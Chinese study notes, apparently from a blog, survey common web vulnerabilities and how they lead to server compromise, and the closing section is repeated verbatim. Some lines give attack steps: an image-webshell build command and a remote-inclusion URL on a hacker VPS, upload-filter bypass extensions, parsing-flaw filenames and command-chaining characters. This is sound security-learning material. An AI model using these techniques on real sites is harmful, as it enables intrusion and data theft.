常见web漏洞

SQL注入漏洞

  • 原理:网站对用户输入的数据没有经过严格的过滤导致带入到数据库中执行造成数据库信息泄露

  • 注入类型:

    按注入点类型: 数字型、字符型、搜索型;

    按数据库类型: Access、MsSQL、MySQL、Oracle、DB2等;

    按提交方式: GET、POST、Cookie、HTTP头、XFF;

    按执行效果分:布尔盲注、时间盲注、报错注入、联合注入、堆叠查询注入

  • 数据库信息泄露/GetShell(Webshell)【SQLI-Labs】

XSS跨站脚本攻击

  • 原理:攻击者在web页面中插入恶意的javascript脚本,当用户使用浏览器浏览该页面时,嵌入web页面中的javascript代码将会被执行,从而达到恶意攻击用户的目的。
  • 类型:
    • 存储型指的是恶意代码提交到了网站的数据库中,当用户请求数据的时候,服务器将其拼接为 HTML 后返回给了用户,从而导致了恶意代码的执行。
    • 反射型指的是攻击者构建了特殊的 URL,当服务器接收到请求后,从 URL 中获取数据,拼接到 HTML 后返回,从而导致了恶意代码的执行。
    • DOM 型指的是攻击者构建了特殊的 URL,用户打开网站后,js 脚本从 URL 中获取数据,从而导致了恶意代码的执行。
  • 窃取Cookie/JS编写的网页蠕虫【XSS-Labs】

CSRF跨站请求伪造

  • CSRF攻击利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。
  • 流程:

常见web漏洞_第1张图片

  • 修改网站其他用户信息 【pichachu 】 csrf漏洞

SSRF服务器端请求伪造

  • 原理:由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。

  • 常见web漏洞_第2张图片

  • 高危函数

    1.curl_exec():执行给定的curl会话…这个函数应该在初始化一个curl会话并且全部的选向都被设置后调用;
    2.file_get_contents():函数的作用是将整个文件读入一个字符串中,并且此函数是用于把文件的内容读入到一个字符串中的首选方法;
    3.fsockopen():打开一个网络连接或套接字连接;

  • 查看本地敏感文件/刺探内网存活主机服务信息 【ssrf-Labs】

xss,csrf,ssrf区别:

  • XSS和CSRF都是针对客户端攻击,SSRF是针对服务端攻击;
  • XSS通过在网站注入恶意脚本,使之在用户的浏览器上运行,从而盗取用户的cookie信息,并借助BEEF中插件+MSF来获取客户端主机的控制权限。
  • CSRF利用用户的Cookie信息伪造用户请求发送至服务器,修改存在该漏洞站点的受害者用户信息,进行信息劫持。
  • SSRF能获取服务端的本地敏感信息来读取本机文件、探测内网存活主机、端口服务、并对内网服务器进行抓包请求。

XSS和CSRF的相同点,它们都是利用浏览器发送数据包,而SSRF是让服务器偷偷发送数据包

CSRF和XSS都会利用到Cookie,但CSRF是利用它让浏览器偷偷发送数据包,而XSS是直接窃取Cookie。

XXE实体注入

  • XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取(file协议)、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害的漏洞
  • 利用:任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起 DoS 攻击等
    DTD重要关键字:DOCTYPE(DTD的声明),ENTITY(实体的声明),SYSTEM,PUBLIC(外部资源申请)
    实体类型:内置,字符,参数(%),通用实体(其余&)
  • 获取本地敏感信息/对内网存货主机探测、攻击 【pikachu】xxe漏洞

文件上传漏洞

  • 未对上传的文件进行严格的验证和过滤而导致的用户可以越过其本身权限向服务器上传可执行的动态脚本文件
    • 常见的网站文件后缀名:
      asp asa cdx cer php aspx ashx jsp php3 php.a shtml phtml
    • 有些网站会对 asp 或者 php 进行过滤转成空可用这些后缀名:
      aspasp asaspp phpphp
  • Getshell;前端JS检测;后端的PHP代码检测:检测MIME类型&白名单&黑名单&条件竞争&二次渲染【UPLOAD-Labs】

文件包含漏洞

站点程序将包含的文件设置成变量并未对用户恶意包含的文件进行严格的过滤导致被包含执行文件中的代码

常见web漏洞_第3张图片

  • 常见函数:

    include():代码执行到include时才将文件包含进来,发生错误时只给警告,继续向下执行;
    include_once():功能和include相同,区别在于当重复调用同一文件时,程序只调用一次;
    require():

    ​ 与include的区别在于require执行如果发生错误,函数会输出错误信息并终止脚本的运行;
    ​ 使用require()函数包含文件时,只要程序一执行立即调用文件,而include只有程序执行到该函数时才调用;
    require_once():功能与require相同,区别在于当重复调用同一文件时,程序只调用一次;

  • include() include_once()   加载不存在的文件 不会停止运行  只引入一次
    require()  require_once()   加载不存在的文件会停止运行 
    
  • 利用方法:

    需要引入上传的文件到网站目录或是服务器内部的文件,而且是权限是可读,才能引入进来,或远程包含进来,但是需要条件;

  • 文件包含–> 获取本地非自身脚本语言文件信息 / (网站权限)(网站数据)(服务器的权限)

  • 本地文件包含–>上传图片马(Copy 1.jpg/b+1.php/a 2.jpg)至网站–>index.php?include=/uploads/2.jpg
    远程文件包含–>上传图片马至黑客VPS开启HTTP服务–>index?phpinclude=http://laosec.cn:8080/2.jpg

文件解析漏洞

web服务器因对http请求处理不当导致将非可执行的脚本,文件等当做可执行的脚本,文件等执行。

—般配合服务器的文件上传功能使用,以获取服务器的权限。

常见web漏洞_第4张图片

  • IIS 5/6–> Windows server 2000&Windows server 2003 R2

    • 畸形文件 1.asp;.jpg
    • 畸形目录 1.asp/1.jpg
      IIS 7
    • 配置错误 1.jpg/.php

    Apache 1.x 2.x

    • 文件后缀 1.php.xxx -->绕过文件上传黑名单

    Nginx

    • 配置错误 1.jpg/.php

文件下载漏洞

对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意的文件,可以是源代码文件、敏感文件等。

命令执行

应用有时需要调用一些执行系统命令的函数,当用户能控制这些函数的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

  • 相关函数
    system(args) (有回显)

    passthru(args)(有回显)

    exec(args) (回显最后一行)

    shell_exec(args) (无回显-必须输出)

    popen() (返回的是文件指针而非命令执行结果)

    反引号:`( 反引号里面的代码也会被当作OS命令来执行 )

  • 命令链接符

    ;(分号),| (管道符号 ),&(后台任务符号),&&(逻辑与),||(逻辑或),`(反引号),$(command) 命令执行

代码执行

当应用在调用一些字符串转化为代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞

  • 函数

    eval()
    assert()

    preg_replace()

    create_function()

    array_map()

    call_user_func()/call_user_fuc_array()

    array_filter()

    usort()、uasort()

    文件操作函数 file_put_contents() 、fputs()

反序列化漏洞

  • 序列化和反序列化介绍

    serialize()将一个对象转换成一个字符串;

    unserialize()将字符串还原为一个对象;

  • 反序列化漏洞就是因为在反序列化转换的过程中,触发代码执行,从而造成漏洞

  • 魔法函数:
    _construct() 当一个对象创建时被调用( 构造函数,当对象创建(new)时会自动调用

    ​ unserialize()反序列化时是不会自动调用的
    ​ _destruct() 当一个对象销毁前被调用 ;
    ​ _sleep()在对象被序列化前被调用 ( 用于提交未提交的数据,或类似的清理操作);
    ​ _wakeup将在反序列化之后立即被调用
    ​ _toString当一个对象被当做字符串使用时被调用
    ​ _get(),__set() 当调用或设置一个类及其父类方法中未定义的属性时
    ​ _invoke()调用函数的方式调用一个对象时的回应方法
    ​ _call 和 _callStatic前者是调用类不存在的方法时执行,而后者是调用类不存在的静态方式方法时执行

未授权访问漏洞

  • 概念:
    需要安全配置或权限认证的地址、授权页面存在缺陷,导致其他用户可以直接访问,从而引发重要权限可被操作、数据库、网站目录等敏感信息泄露。
  • 目前主要存在未授权访问漏洞的有:
    NFS 服务,Samba 服务,LDAP,Rsync,FTP,GitLab,Jenkins,MongoDB,Redis,ZooKeeper,ElasticSearch,Memcache,CouchDB,Docker,Solr,Hadoop,Dubb

业务逻辑漏洞

1.短信轰炸2.水平越权3.垂直越权4.支付漏洞5.身份验证缺失

目录遍历漏洞

由于web中间件目录访问相关的配置错误造成的,该漏洞会泄露web应用程序的敏感路径、敏感的文件信息、网站的编辑器路径或测试接口、系统敏感目录(配合…/等目录跳转符)等

可以GetShell有
SQL注入
文件包含
文件解析
文件上传
命令执行
代码执行
反序列化
未授权访问
,Dubb

业务逻辑漏洞

1.短信轰炸2.水平越权3.垂直越权4.支付漏洞5.身份验证缺失

目录遍历漏洞

由于web中间件目录访问相关的配置错误造成的,该漏洞会泄露web应用程序的敏感路径、敏感的文件信息、网站的编辑器路径或测试接口、系统敏感目录(配合…/等目录跳转符)等

可以GetShell有
SQL注入
文件包含
文件解析
文件上传
命令执行
代码执行
反序列化
未授权访问

你可能感兴趣的:(前端,安全,web安全)